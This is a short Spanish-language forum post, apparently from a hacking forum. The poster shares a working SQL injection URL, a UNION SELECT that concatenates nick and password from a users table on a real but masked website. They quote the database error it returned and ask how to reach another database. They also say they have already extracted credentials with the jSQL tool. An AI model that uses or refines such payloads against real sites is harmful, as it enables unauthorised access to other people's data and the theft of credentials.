Cita de: Nitimur In Vetitum en 24 Agosto 2014, 19:47 PM
Si realmente estudiaste SQL , fijate la ultima consulta que realizas.
He avanzado algo.
http://www.***.com/index.php?accion=11&id=-1+UNION+SELECT+1,2,3,4,5,concat(nick,0x3a,pass),7,8,9,10,11+from+usuario--
Pero me dice:
Falló la consulta.1146: Table '***_ocio.usuario' doesn't exist
Y es que "usuario" no está en esta bd, sino en ***_users.usuario
Entiendo el error, pero no consigo saber como acceder a la base de datos _users y no a _ocio.
Gracias por la pista !
PD: Ya tengo el nick y el pass que he sacado con jSQL pero quiero entender como hacerlo mediante url.